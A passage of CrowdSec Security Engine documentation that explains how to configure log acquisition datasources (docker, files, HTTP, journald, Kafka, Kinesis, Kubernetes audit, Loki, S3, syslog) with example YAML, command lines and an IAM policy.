``` source: docker use_service_labels: true ``` Currently here is the list of reserved labels for the service: `crowdsec.enable` : Enable crowdsec acquisition for this service the value must be set to `crowdsec.enable=true` for the service to be adopted. `crowdsec.labels` : Top level key that will parse into the labels struct for the acquisition, for example `crowdsec.labels.type=nginx` will be parsed to the following: YAMLCOPY ``` labels: type: nginx ``` Here is an example of running a service using nginx with the labels: SHCOPY ``` docker service create \ --name test-nginx \ --label crowdsec.enable=true \ --label crowdsec.labels.type=nginx \ --replicas 2 \ nginx:latest ``` ### `docker_host`[โ€‹](#docker_host "Direct link to docker_host") Docker host. Default: `unix:///var/run/docker.sock` ### `until`[โ€‹](#until "Direct link to until") Read logs until timestamp (e.g. 2013-01-02T13:23:37Z) or relative (e.g. 42m for 42 minutes). ### `since`[โ€‹](#since "Direct link to since") Read logs since timestamp (e.g. 2013-01-02T13:23:37Z) or relative (e.g. 42m for 42 minutes). ### `check_interval`[โ€‹](#check_interval "Direct link to check_interval") Relative interval (e.g. 5s for 5 seconds) to check for new containers matching the configuration. Default: `1s` ### `follow_stdout`[โ€‹](#follow_stdout "Direct link to follow_stdout") Follow `stdout` containers logs. Default: `true` ### `follow_stderr`[โ€‹](#follow_stderr "Direct link to follow_stderr") Follow `stderr` container logs. Default: `true` ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") info DSN does not support reading from Swarm services docker datasource implements a very approximative DSN, as follows : `docker://?[args]` Supported args are : * `log_level` : set log level of module * `until` : read logs until timestamp (e.g. 2013-01-02T13:23:37Z) or relative (e.g. 42m for 42 minutes) * `since` : read logs since timestamp (e.g. 2013-01-02T13:23:37Z) or relative (e.g. 42m for 42 minutes) * `docker_host` : docker host, can be a remote docker host or a path to another container socket * `follow_stderr`: follow `stderr` container logs * `follow_stdout` : follow `stdout` container logs A 'pseudo DSN' must be provided: SHCOPY ``` crowdsec -type nginx -dsn 'docker://my_nginx_container_name' ``` You can specify the `log_level` parameter to change the log level for the acquisition : SHCOPY ``` crowdsec -type nginx -dsn 'docker://my_nginx_container_name?log_level=debug' ``` ## Notes[โ€‹](#notes "Direct link to Notes") ### Containers watching[โ€‹](#containers-watching "Direct link to Containers watching") This module will automatically read the logs of containers specified in the configuration, even if they have been started after crowdsec start. ### Reading podman containers[โ€‹](#reading-podman-containers "Direct link to Reading podman containers") note Don't forget to start podman service with `sudo systemctl start podman`. Run your podman containers as `root`, else `CrowdSec` will not be able to read the logs. If you want to read Podman containers logs, you can set the `docker_host` to `unix:///run/podman/podman.sock` or to the path of your Podman socket. Configuration file YAMLConfiguration fileCOPY ``` source: docker container_name_regexp: - my_containers_* container_id_regexp: - i-* labels: type: log_type docker_host: unix:///var/run/podman/podman.sock ``` Command line SHCommand lineCOPY ``` crowdsec -type nginx -dsn 'docker://my_nginx_container_name?docker_host=unix:///run/podman/podman.sock&log_level=debug' ``` --- # File(s) This module allows the `Security Engine` to acquire logs from text files (in one-shot and streaming mode), and GZ files in one-shot mode. ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") A basic configuration is as follows: YAMLCOPY ``` source: file filenames: - /tmp/foo/*.log - /var/log/syslog labels: type: syslog ``` ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `filename`[โ€‹](#filename "Direct link to filename") A single path to a file to tail. Globbing is supported. Required if `filenames` is not provided. ### `filenames`[โ€‹](#filenames "Direct link to filenames") A list of path to files to tail. Globbing is supported. Required if `filename` is not provided. ### `force_inotify`[โ€‹](#force_inotify "Direct link to force_inotify") > default: `false` If set to `true`, force an inotify watch on the log files folder, even if there is no log in it. ### `source`[โ€‹](#source "Direct link to source") Must be `file`. ### `exclude_regexps`[โ€‹](#exclude_regexps "Direct link to exclude_regexps") A list of regular expressions to exclude from the acquisition. Can be used to exclude files from a glob pattern (ie, `*` but not `*.log.gz`). ### `poll_without_inotify`[โ€‹](#poll_without_inotify "Direct link to poll_without_inotify") info This was not the default for version 1.4.6 and below. So users upgrading to 1.5 may encounter some issues with certain file systems. See [this issue](https://github.com/crowdsecurity/crowdsec/issues/2223) > default: `false` If set to `true`, will poll the files using `os.Stat` instead of using inotify. This is useful if you want to watch files on a network share, for example. However, this will increase CPU usage significantly per file that is open. ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") This module supports acquisition directly from the command line, to read files in one shot. A single file URI is accepted with the `-dsn` parameter, but globbing is supported for multiple files: SHCOPY ``` crowdsec -type syslog -dsn file:///var/log/*.log ``` ### Supported parameters[โ€‹](#supported-parameters "Direct link to Supported parameters") #### `log_level`[โ€‹](#log_level "Direct link to log_level") Change the log level for the acquisition: SHCOPY ``` crowdsec -type syslog -dsn file:///var/log/*.log?log_level=info ``` #### `max_buffer_size`[โ€‹](#max_buffer_size "Direct link to max_buffer_size") Maximum length of a single line. Defaults to 65536. SHCOPY ``` crowdsec -type syslog -dsn file:///var/log/*.log?max_buffer_size=42000 ``` ## Notes[โ€‹](#notes "Direct link to Notes") By default, if a glob pattern does not match any files in an existing directory, this directory will not be watched for new files (ie, `/var/log/nginx/*.log` does not match, but `/var/log/nginx/` exists). You can override this behaviour with the `force_inotify` parameter, which will put a watch on the directory. --- # HTTP This module allows the `Security Engine` to acquire logs from an HTTP endpoint. ## Configuration examples[โ€‹](#configuration-examples "Direct link to Configuration examples") To receive logs from an HTTP endpoint with basic auth: YAMLCOPY ``` source: http listen_addr: 127.0.0.1:8081 path: /test auth_type: basic_auth basic_auth: username: test password: test labels: type: mytype ``` To receive logs from an HTTP endpoint with headers: YAMLCOPY ``` source: http listen_addr: 127.0.0.1:8081 path: /test auth_type: headers headers: MyHeader: MyValue labels: type: mytype ``` To receive logs from an HTTP endpoint with TLS and headers: YAMLCOPY ``` source: http listen_addr: 127.0.0.1:8081 path: /test auth_type: headers headers: MyHeader: MyValue tls: server_cert: server.crt server_key: server.key labels: type: mytype ``` To receive logs from an HTTP endpoint with mTLS: YAMLCOPY ``` source: http listen_addr: 127.0.0.1:8081 path: /test auth_type: mtls tls: server_cert: server.crt server_key: server.key ca_cert: ca.crt labels: type: mytype ``` Look at the `Parameters` section to view all supported options. ## Body format[โ€‹](#body-format "Direct link to Body format") The datasource expects to receive one or multiple JSON objects. The datasource will also automatically decompress any request body in `gzip` format, as long as the `Content-Encoding` header is set to `gzip`. The JSON object can be any format, crowdsec will pass it as-is to the parsers. If you are sending multiple JSON object in the same request, they must be separated by a newline (NDJSON format): JSONCOPY ``` {"log": "log line 1", "timestamp": "2021-01-01T00:00:00Z"} {"log": "log line 2", "timestamp": "2021-01-01T00:00:01Z"} ``` The objects will be processed by the parsers one-by-one. If you send multiple log lines in a single JSON object, you can use a [transform](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md#transform) expression to generate multiple events: JSONCOPY ``` { "Records": [ { "message": "test", "timestamp": "2021-01-01T00:00:00Z" }, { "message": "test2", "timestamp": "2021-01-01T00:00:01Z" } ] } ``` Using the following `transform` expression will make the datasource generate one event per entry in the array: YAMLCOPY ``` transform: | map(JsonExtractSlice(evt.Line.Raw, "Records"), ToJsonString(#)) ``` ## Status code and supported methods[โ€‹](#status-code-and-supported-methods "Direct link to Status code and supported methods") The HTTP datasource expects to receive logs in a `POST` request, and will return a `200 OK`. If an invalid body is received (invalid JSON), a `400 Bad Request` code will be returned. The datasource will return a `200 OK` to `GET` and `HEAD` requests if the credentials provided in the request are valid. A `405 Method Not Allowed` code will be returned for any other methods. If the credentials provided are invalid, a `401 Unauthorized` code will be returned. If the body size is bigger than the configured limit, a `413 Request Entity Too Large` code will be returned. ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `listen_addr`[โ€‹](#listen_addr "Direct link to listen_addr") The address to listen on (e.g., `127.0.0.1:8088`). At least one of `listen_addr` or `listen_socket` is required. ### `listen_socket`[โ€‹](#listen_socket "Direct link to listen_socket") Unix socket to listen on (e.g., `/var/run/crowdsec_http.sock`). At least one of `listen_addr` or `listen_socket` is required. ### `path`[โ€‹](#path "Direct link to path") The endpoint path to listen on. Optional, default is `/`. ### `auth_type`[โ€‹](#auth_type "Direct link to auth_type") The authentication type to use. Can be `basic_auth`, `headers`, or `mtls`. Required. ### `basic_auth`[โ€‹](#basic_auth "Direct link to basic_auth") The basic auth credentials. ### `basic_auth.username`[โ€‹](#basic_authusername "Direct link to basic_authusername") The basic auth username. Optional, to use when `auth_type` is `basic_auth`. ### `basic_auth.password`[โ€‹](#basic_authpassword "Direct link to basic_authpassword") The basic auth password. Optional, to use when `auth_type` is `basic_auth`. ### `headers`[โ€‹](#headers "Direct link to headers") The headers to send. Optional, to use when `auth_type` is `headers`. ### `tls`[โ€‹](#tls "Direct link to tls") TLS configuration. ### `tls.server_cert`[โ€‹](#tlsserver_cert "Direct link to tlsserver_cert") The server certificate path. Optional, to use when `auth_type` is `mtls`. ### `tls.server_key`[โ€‹](#tlsserver_key "Direct link to tlsserver_key") The server key path. Optional, to use when `auth_type` is `mtls`. ### `tls.ca_cert`[โ€‹](#tlsca_cert "Direct link to tlsca_cert") The CA certificate path. Optional, to use when `auth_type` is `mtls`. ### `custom_status_code`[โ€‹](#custom_status_code "Direct link to custom_status_code") The custom status code to return. Optional. ### `custom_headers`[โ€‹](#custom_headers "Direct link to custom_headers") The custom headers to return. Optional. ### `max_body_size`[โ€‹](#max_body_size "Direct link to max_body_size") The maximum body size to accept. Optional. ### `timeout`[โ€‹](#timeout "Direct link to timeout") The timeout to read the body. info The timeout is in duration format, e.g., `5s`. Optional. ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") This datasource does not support acquisition from the command line. --- # Acquisition Datasources To monitor applications, the Security Engine needs to read logs. DataSources define where to access them (either as files, or over the network from a centralized logging service). They can be defined: * in [Acquisition files](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#acquisition_path). Each file can contain multiple DataSource definitions. This configuration can be generated automatically, please refer to the [Service Discovery documentation](https://docs.crowdsec.net/docs/next/log_processor/service-discovery-setup/intro.md) * for cold log analysis, you can also specify acquisitions via the command line. ## Datasources modules[โ€‹](#datasources-modules "Direct link to Datasources modules") | Name | Type | Stream | One-shot | | ------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------- | ------ | -------- | | [Appsec](https://docs.crowdsec.net/docs/next/log_processor/data_sources/appsec.md) | expose HTTP service for the Appsec component | yes | no | | [AWS cloudwatch](https://docs.crowdsec.net/docs/next/log_processor/data_sources/cloudwatch.md) | single stream or log group | yes | yes | | [AWS kinesis](https://docs.crowdsec.net/docs/next/log_processor/data_sources/kinesis.md) | read logs from a kinesis stream | yes | no | | [AWS S3](https://docs.crowdsec.net/docs/next/log_processor/data_sources/s3.md) | read logs from a S3 bucket | yes | yes | | [docker](https://docs.crowdsec.net/docs/next/log_processor/data_sources/docker.md) | read logs from docker containers | yes | yes | | [file](https://docs.crowdsec.net/docs/next/log_processor/data_sources/file.md) | single files, glob expressions and .gz files | yes | yes | | [HTTP](https://docs.crowdsec.net/docs/next/log_processor/data_sources/http.md) | read logs from an HTTP endpoint | yes | no | | [journald](https://docs.crowdsec.net/docs/next/log_processor/data_sources/journald.md) | journald via filter | yes | yes | | [Kafka](https://docs.crowdsec.net/docs/next/log_processor/data_sources/kafka.md) | read logs from kafka topic | yes | no | | [Kubernetes Audit](https://docs.crowdsec.net/docs/next/log_processor/data_sources/kubernetes_audit.md) | expose a webhook to receive audit logs from a Kubernetes cluster | yes | no | | [Loki](https://docs.crowdsec.net/docs/next/log_processor/data_sources/loki.md) | read logs from loki | yes | yes | | [VictoriaLogs](https://docs.crowdsec.net/docs/next/log_processor/data_sources/victorialogs.md) | read logs from VictoriaLogs | yes | yes | | [syslog service](https://docs.crowdsec.net/docs/next/log_processor/data_sources/syslog.md) | read logs received via syslog protocol | yes | no | | [Windows Event](https://docs.crowdsec.net/docs/next/log_processor/data_sources/windows_evt_log.md) | read logs from windows event log | yes | yes | ## Common configuration parameters[โ€‹](#common-configuration-parameters "Direct link to Common configuration parameters") Those parameters are available in all datasources. ### `log_level`[โ€‹](#log_level "Direct link to log_level") Log level to use in the datasource. Defaults to `info`. ### `source`[โ€‹](#source "Direct link to source") Which type of datasource to use. It is mandatory except for file acquisition. ### `transform`[โ€‹](#transform "Direct link to transform") An expression that will run after the acquisition has read one line, and before the line is sent to the parsers. It allows to modify an event (or generate multiple events from one line) before parsing. For example, if you acquire logs from a file containing a JSON object on each line, and each object has a `Records` array with multiple events, you can use the following to generate one event per entry in the array: TEXTCOPY ``` map(JsonExtractSlice(evt.Line.Raw, "Records"), ToJsonString(#)) ``` The expression must return: * A string: it will replace `evt.Line.Raw` in the event * A list of strings: One new event will be generated based on the source event per element in the list. Each element will replace the `evt.Line.Raw` from the source event. If the expression returns an error or an invalid type, the event will not be modified before sending it to the parsers. ### `use_time_machine`[โ€‹](#use_time_machine "Direct link to use_time_machine") By default, when reading logs in real-time, crowdsec will use the time at which the log was read as the log timestamp instead of extracting it from the log itself. Setting this option to `true` will force crowdsec to use the timestamp from the log as the time of the event. It is mandatory to set this if your application buffers logs before writing them (for example, IIS when writing to a log file, or logs written to S3 from almost any AWS service).
If not set, then crowdsec will think all logs happened at once, which can lead to some false positive detections. ### `labels`[โ€‹](#labels "Direct link to labels") A map of labels to add to the event. The `type` label is mandatory, and used by the Security Engine to choose which parser to use. ## Acquisition configuration examples[โ€‹](#acquisition-configuration-examples "Direct link to Acquisition configuration examples") /etc/crowdsec/acquis.d/nginx.yaml YAML/etc/crowdsec/acquis.d/nginx.yamlCOPY ``` filenames: - /var/log/nginx/*.log labels: type: nginx ``` /etc/crowdsec/acquis.d/linux.yaml YAML/etc/crowdsec/acquis.d/linux.yamlCOPY ``` filenames: - /var/log/auth.log - /var/log/syslog labels: type: syslog ``` /etc/crowdsec/acquis.d/docker.yaml YAML/etc/crowdsec/acquis.d/docker.yamlCOPY ``` source: docker container_name_regexp: - .*caddy* labels: type: caddy --- source: docker container_name_regexp: - .*nginx* labels: type: nginx ``` warning The `labels` and `type` fields are necessary to dispatch the log lines to the right parser. In the last example we defined multiple datasources separated by the line `---`, which is the standard YAML marker. --- # Journald This module allows the `Security Engine` to acquire logs from journalctl files in one-shot and streaming mode. ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") To monitor SSH logs from journald: YAMLCOPY ``` source: journalctl journalctl_filter: - "_SYSTEMD_UNIT=ssh.service" labels: type: syslog ``` Rather to specify each systemd service, you could also decide to acquire more informations from journald by referrencing a filter from \_TRANSPORT YAMLCOPY ``` --- source: journalctl journalctl_filter: - "_TRANSPORT=journal" labels: type: syslog --- source: journalctl journalctl_filter: - "_TRANSPORT=syslog" labels: type: syslog --- source: journalctl journalctl_filter: - "_TRANSPORT=stdout" labels: type: syslog --- source: journalctl journalctl_filter: - "_TRANSPORT=kernel" labels: type: syslog --- ``` ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `journalctl_filter`[โ€‹](#journalctl_filter "Direct link to journalctl_filter") A list of journalctl filters. This is mandatory. info this list is transformed into arguments passed to the journalctl binary, so any [arguments supported by journalctl](https://www.man7.org/linux/man-pages/man1/journalctl.1.html) can be defined here ### `source`[โ€‹](#source "Direct link to source") Must be `journalctl` ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") This module supports acquisition directly from the command line, to read journalctl logs in one shot. A 'pseudo DSN' must be provided: SHCOPY ``` crowdsec -type syslog -dsn journalctl://filters=_SYSTEMD_UNIT=ssh.service&filters=_UID=42 ``` You can specify the `log_level` parameter to change the log level for the acquisition : SHCOPY ``` crowdsec -type syslog -dsn journalctl://filters=MY_FILTER&filters=MY_OTHER_FILTER&log_level=debug ``` --- # Kafka This module allows the `Security Engine` to acquire logs from a kafka topic. ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") To monitor a kafka topic: YAMLCOPY ``` source: kafka topic: my-topic brokers: - "localhost:9092" timeout: 5 labels: type: mytype ``` To monitor a kafka topic using SSL: YAMLCOPY ``` source: kafka brokers: - "localhost:9093" topic: "my-topic" timeout: 5 tls: insecure_skip_verify: true client_cert: /path/kafkaClient.certificate.pem client_key: /path/kafkaClient.key ca_cert: /path/ca.crt labels: type: nginx ``` Adding a batch configuration: YAMLCOPY ``` source: kafka brokers: - "localhost:9093" topic: "my-topic" timeout: 5 tls: insecure_skip_verify: true client_cert: /path/kafkaClient.certificate.pem client_key: /path/kafkaClient.key ca_cert: /path/ca.crt labels: type: nginx batch: min_bytes: 1024 # 1KB max_bytes: 1048576 # 1MB max_wait: 5s queue_size: 1000 commit_interval: 1s ``` info The reader will always start from the latest offset. Look at the `configuration parameters` to view all supported options. ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `brokers`[โ€‹](#brokers "Direct link to brokers") The name of the kafka brockers to connect to. Required. ### `topic`[โ€‹](#topic "Direct link to topic") The topic name you want to read logs from. Required. ### `group_id`[โ€‹](#group_id "Direct link to group_id") The consumer group id to use. Cannot be used with `partition`. warning It is highly recommended to set this value, or crowdsec will only read logs from the 1st partition of the topic. ### `partition`[โ€‹](#partition "Direct link to partition") Read messages from the given partition. Mostly useful for debugging. Cannot be used with `group_id`. ### `timeout`[โ€‹](#timeout "Direct link to timeout") Maximum time to wait for new messages before returning an empty read. Default: 5 ### `tls.insecure_skip_verify`[โ€‹](#tlsinsecure_skip_verify "Direct link to tlsinsecure_skip_verify") To disable security checks on the certificate. Defaults to `false` ### `tls.client_cert`[โ€‹](#tlsclient_cert "Direct link to tlsclient_cert") The client certificate path. Optional, when you want to enable TLS with client certificate. ### `tls.client_key`[โ€‹](#tlsclient_key "Direct link to tlsclient_key") The client key path. Optional, when you want to enable TLS with client certificate. ### `tls.ca_cert`[โ€‹](#tlsca_cert "Direct link to tlsca_cert") The CA certificate path. Optional, when you want to enable TLS with client certificate. ### `batch.min_bytes`[โ€‹](#batchmin_bytes "Direct link to batchmin_bytes") Minimum number of bytes to accumulate in the fetch buffer before returning results. Default: 1 ### `batch.max_bytes`[โ€‹](#batchmax_bytes "Direct link to batchmax_bytes") Maximum number of bytes to fetch in one go. Default: 1048576 (1MB) ### `batch.max_wait`[โ€‹](#batchmax_wait "Direct link to batchmax_wait") Maximum time to wait before returning a fetch, even if `batch.min_bytes` isnโ€™t reached. Default: 250ms ### `batch.queue_size`[โ€‹](#batchqueue_size "Direct link to batchqueue_size") Maximum number of messages to buffer internally before processing. Default: 100 ### `batch.commit_interval`[โ€‹](#batchcommit_interval "Direct link to batchcommit_interval") Time interval between automatic commits of consumer offsets. Default: 0 (commit after every fetch) ### `source`[โ€‹](#source "Direct link to source") Must be `kafka` ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") This datasource does not support acquisition from the command line. --- # AWS Kinesis Stream This module allows the `Security Engine` to acquire logs from a Kinesis stream. ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") To monitor a stream: YAMLCOPY ``` source: kinesis stream_name: my-stream labels: type: mytype ``` To monitor a stream using the [enhanced fan-out](https://docs.aws.amazon.com/streams/latest/dev/enhanced-consumers.html) API: YAMLCOPY ``` source: kinesis stream_arn: "arn:aws:kinesis:region:000000000000:stream/my-stream" use_enhanced_fanout: true consumer_name: crowdsec-agent labels: type: mytype ``` info If your stream is written to by a [Cloudwatch subscription filter](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/SubscriptionFilters.html), you will need to pass the `from_subscription` parameter, or the Security Engine won't be able to parse the content of the message. Look at the `configuration parameters` to view all supported options. ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `stream_name`[โ€‹](#stream_name "Direct link to stream_name") The name of the kinesis stream you want to read logs from. Required when `use_enhanced_fanout` is `false`. ### `stream_arn`[โ€‹](#stream_arn "Direct link to stream_arn") The ARN of the kinesis stream you want to read logs from. Required when `use_enhanced_fanout` is `true` ### `use_enhanced_fanout`[โ€‹](#use_enhanced_fanout "Direct link to use_enhanced_fanout") Whether to use enhanced fan-out (dedicated throughput for a consumer) or not. This option will incur additional AWS costs. Defaults to `false` ### `consumer_name`[โ€‹](#consumer_name "Direct link to consumer_name") Name of the consumer. Required when `enhanced_fan_out` is true. ### `from_subscription`[โ€‹](#from_subscription "Direct link to from_subscription") Whether the logs are coming from a Cloudwatch subscription filter or not. When Cloudwatch writes logs to a kinesis stream, they are base64-encoded and gzipped, and the actual log message is part of a JSON object. Defaults to `false`. ### `aws_profile`[โ€‹](#aws_profile "Direct link to aws_profile") The AWS profile to use, relies on your `~/.aws/config/`. Optional, the data source will automatically the standard AWS env vars if present. ### `aws_config_dir`[โ€‹](#aws_config_dir "Direct link to aws_config_dir") The path to your `~/.aws/`, defaults to `/root/.aws`. Optional, the data source will automatically the standard AWS env vars if present. ### `aws_region`[โ€‹](#aws_region "Direct link to aws_region") The AWS region. Optional, the data source will automatically the standard AWS env vars if present. ### `source`[โ€‹](#source "Direct link to source") Must be `kinesis` ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") This datasource does not support acquisition from the command line. --- # Kubernetes Audit This module allows the `Security Engine` to expose an HTTP server that can be used by a Kubernetes cluster to send its [audit logs](https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/). ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") YAMLCOPY ``` source: k8s-audit listen_addr: 127.0.0.1 listen_port: 9876 webhook_path: /webhook labels: type: k8s-audit ``` Look at the `configuration parameters` to view all supported options. ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `listen_addr`[โ€‹](#listen_addr "Direct link to listen_addr") The address on which the datasource will listen. Mandatory. ### `listen_port`[โ€‹](#listen_port "Direct link to listen_port") The port on which the datasource will liste. Mandatory. ### `webhook_path`[โ€‹](#webhook_path "Direct link to webhook_path") The path on which the datasource will accept requests from kubernetes. Mandatory. ### `source`[โ€‹](#source "Direct link to source") Must be `k8s-audit` ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") This datasource does not support acquisition from the command line. --- # Loki This module allows the `Security Engine` to acquire logs from loki query. ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") This will allow to read logs from loki, using the query `{job="varlogs"}`. YAMLCOPY ``` source: loki log_level: info url: http://localhost:3100/ limit: 1000 query: | {job="varlogs"} auth: username: something password: secret labels: type: apache2 ``` info The reader will always start at "now". Look at the `configuration parameters` to view all supported options. ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `url`[โ€‹](#url "Direct link to url") The loki URL to connect to. Required. ### `prefix`[โ€‹](#prefix "Direct link to prefix") The loki prefix (present in http path, useful if loki is behind a reverse-proxy). Defaults to `/`. ### `query`[โ€‹](#query "Direct link to query") The [loki query](https://grafana.com/docs/loki/latest/query/log_queries/). Required. ### `limit`[โ€‹](#limit "Direct link to limit") The maximum number of messages to be retried from loki at once. Defaults to `100` in stream mode and `5000` in one-shot mode. ### `headers`[โ€‹](#headers "Direct link to headers") Allows you to specify headers to be sent to loki, in the format: YAMLCOPY ``` headers: foo: bar ``` ### `wait_for_ready`[โ€‹](#wait_for_ready "Direct link to wait_for_ready") The retry interval at startup before giving on loki. Defaults to `10 seconds`. ### `no_ready_check`[โ€‹](#no_ready_check "Direct link to no_ready_check") > note : When using Loki hosted in Grafana Cloud, the `/ready` endpoint does not exist, preventing CrowdSec from starting. To bypass the readiness check. Defaults to `false`. ### `auth`[โ€‹](#auth "Direct link to auth") Login/password authentication for loki, in the format: YAMLCOPY ``` auth: username: someone password: something ``` ### `max_failure_duration`[โ€‹](#max_failure_duration "Direct link to max_failure_duration") The maximum duration loki is allowed to be unavailable (once startup is successful) before giving up on the data source. Default to `30 seconds`. ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") All the parameters above are available via DSN (one-shot mode), plus the following ones: ### `ssl`[โ€‹](#ssl "Direct link to ssl") if present, scheme will be set to `https` SHCOPY ``` crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&ssl=true' ``` ### `since`[โ€‹](#since "Direct link to since") Allows to set the "since" duration for loki query. Expects a valid [Go duration](https://pkg.go.dev/time#ParseDuration) SHCOPY ``` crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&since=1d' ``` ### `log_level`[โ€‹](#log_level "Direct link to log_level") Set the `log_level` for loki datasource. SHCOPY ``` crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&log_level=debug' ``` --- # AWS S3 This module allows the `Security Engine` to acquire logs from a S3 bucket. It supports reading plain text file and gzip file (detection is performed based on the file extension). ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") To monitor a S3 bucket detecting new objects from a SQS queue: YAMLCOPY ``` source: s3 polling_method: sqs sqs_name: test-sqs-s3-acquis use_time_machine: true labels: type: foo ``` To monitor a S3 bucket detecting new objects by listing the bucket content: YAMLCOPY ``` source: s3 polling_method: list bucket_name: my_bucket polling_interval: 30 use_time_machine: true labels: type: foo ``` warning It is **strongly recommended** to set `use_time_machine: true` when using the S3 data source. Since files from S3 are not read in real time, the parser must rely on the timestamps within the log lines themselves to process events accurately. warning The `list` polling method is mostly intended for testing purposes, and its usage is not recommended in production. It won't work well with moderately big buckets (tens of thousands of files), as the listing operation is slow. warning When using the `sqs` polling method, make sure the Security Engine is the only reader of the queue. If other processes read from the queue, then the Security Engine will miss some events. Look at the `configuration parameters` to view all supported options. ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `polling_method`[โ€‹](#polling_method "Direct link to polling_method") How to detect new files in a bucket. Must be one of `sqs` or `list`. `sqs` is the recommended mode. ### `polling_interval`[โ€‹](#polling_interval "Direct link to polling_interval") How often in seconds the Security Engine will check for new objects in a bucket when using the `list` polling method. Defaults to 60. ### `sqs_name`[โ€‹](#sqs_name "Direct link to sqs_name") Name of the SQS queue to poll. Required when `polling_method` is `sqs`. ### `sqs_format`[โ€‹](#sqs_format "Direct link to sqs_format") Format of the body inside the SQS messages. Can be `eventbridge`, `s3notification` or `sns`. If not set, the Security Engine will automatically select the format based on the first valid event received from the queue. ### `bucket_name`[โ€‹](#bucket_name "Direct link to bucket_name") Name of the bucket to poll. Required when `polling_method` is `list`. ### `prefix`[โ€‹](#prefix "Direct link to prefix") Only read objects matching this prefix when `polling_method` is `list`. Optional, ignored when `polling_method` is `sqs`. ### `aws_profile`[โ€‹](#aws_profile "Direct link to aws_profile") The AWS profile to use, relies on your `~/.aws/config/`. Optional, the data source will automatically use the standard AWS env vars if present. ### `aws_region`[โ€‹](#aws_region "Direct link to aws_region") The AWS region. Optional, the data source will automatically use the standard AWS env vars if present. ## `aws_endpoint`[โ€‹](#aws_endpoint "Direct link to aws_endpoint") Endpoint for AWS API. Optional, the data source will automatically use the standard AWS env vars if present. Can be used to point the Security Engine to a S3-compatible object storage. ### `source`[โ€‹](#source "Direct link to source") Must be `s3` ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") This module supports acquisition directly from the command line, to read files in one shot. A single s3 URI is accepted with the `-dsn` parameter, but you don't have to specify a specific object. If no object is specified (either just a bucket, or a bucket and a prefix), the Security Engine will read all files matching the prefix. If you don't specify an object, the path *must* end with `/`. SHCOPY ``` crowdsec -type syslog -dsn s3://my_bucket/ ``` SHCOPY ``` crowdsec -type syslog -dsn s3://my_bucket/my_prefix/ ``` SHCOPY ``` crowdsec -type syslog -dsn s3://my_bucket/my_prefix/foo.log ``` You can specify the `log_level` parameter to change the log level for the acquisition: SHCOPY ``` crowdsec -type syslog -dsn s3://my_bucket/my_prefix/foo.log?log_level=debug ``` AWS SDK behaviour can be configured with the standard AWS environment variables. ## IAM Permissions[โ€‹](#iam-permissions "Direct link to IAM Permissions") Because the component needs to interact with AWS resources, it need the proper permissions. Here is the set of required permissions: JSONCOPY ``` { "Statement": [ { "Action": [ "sqs:ReceiveMessage", "sqs:DeleteMessage", "sqs:GetQueueAttributes", "sqs:GetQueueUrl", "sqs:ListDeadLetterSourceQueues", "sqs:ListQueues" ], "Effect": "Allow", "Resource": "arn:aws:sqs:::test-sqs-s3-acquis" }, { "Effect": "Allow", "Action": [ "s3:DescribeJob", "s3:Get*", "s3:List*" ], "Resource": "arn:aws:s3:::my_bucket:*" } ], "Version": "2012-10-17" } ``` For the permissions, we recommend to restrict the S3 permissions to read only operations, to avoid the ability to destroy logs from the CrowdSec agent. If you are using S3 polling, the SQS part of the permissions can be omitted. --- # Syslog Server This module allows the `Security Engine` to expose a syslog server, and ingest logs directly from another syslog server (or any software that knows how to forward logs with syslog). Only UDP is supported. Syslog messages must conform either to [RFC3164](https://datatracker.ietf.org/doc/html/rfc3164) or [RFC5424](https://datatracker.ietf.org/doc/html/rfc5424), and can be up to 2048 bytes long by default (this value is configurable). ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") A basic configuration is as follows: YAMLCOPY ``` source: syslog listen_addr: 127.0.0.1 listen_port: 4242 labels: type: syslog ``` ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `listen_addr`[โ€‹](#listen_addr "Direct link to listen_addr") Address on which the syslog will listen. Defaults to 127.0.0.1. ### `listen_port`[โ€‹](#listen_port "Direct link to listen_port") UDP port used by the syslog server. Defaults to 514. ### `max_message_len`[โ€‹](#max_message_len "Direct link to max_message_len") Maximum length of a syslog message (including priority and facility). Defaults to 2048. ### `source`[โ€‹](#source "Direct link to source") Must be `syslog`. ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") This module does not support command-line acquisition. warning This syslog datasource is currently intended for small setups, and is at risk of losing messages over a few hundreds events/second. To process significant amounts of logs, rely on dedicated syslog server such as [rsyslog](https://www.rsyslog.com/), with this server writing logs to files that Security Engine will read from. This page will be updated with further improvements of this data source. --- # Monitoring The 